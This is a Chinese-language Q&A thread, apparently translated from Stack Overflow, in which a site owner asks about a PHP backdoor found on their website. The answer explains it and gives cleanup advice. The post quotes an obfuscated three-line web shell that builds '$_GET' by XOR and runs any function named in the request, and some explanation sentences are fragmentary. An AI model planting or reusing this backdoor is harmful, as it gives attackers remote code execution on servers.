嗨,我发现我的网站文件中的代码是某种后门?有人可以逐行解释此代码吗?
<? $_="{";
$_=($_^"<").($_^">").($_^"/");?>
<?=${'_'.$_}["_"](${'_'.$_}["__"]);?>
答案 0 :(得分:9)
是的,这是恶意代码。
在花费任何时间查看它之前,您应该立即使该网站离线,并用已知良好的副本替换它,例如备份或正式发行。您还应该确保服务器上的所有内容都是最新的,并更改管理员密码。该代码存在的事实意味着您的代码已被破坏。
为确认我并不过分,下面是代码的工作原理:
'GET'
的字符串。'_'
,并执行$_GET["_"]($_GET["__"]);
,并用<?=
回显结果。_
是函数名,__
是其参数; PHP将运行该函数并显示结果。但要重申,以上内容只是为了满足好奇心;在这种情况下,您应该“先拍摄,然后再提问”。一旦您确定代码不应该存在,假设您已被盗。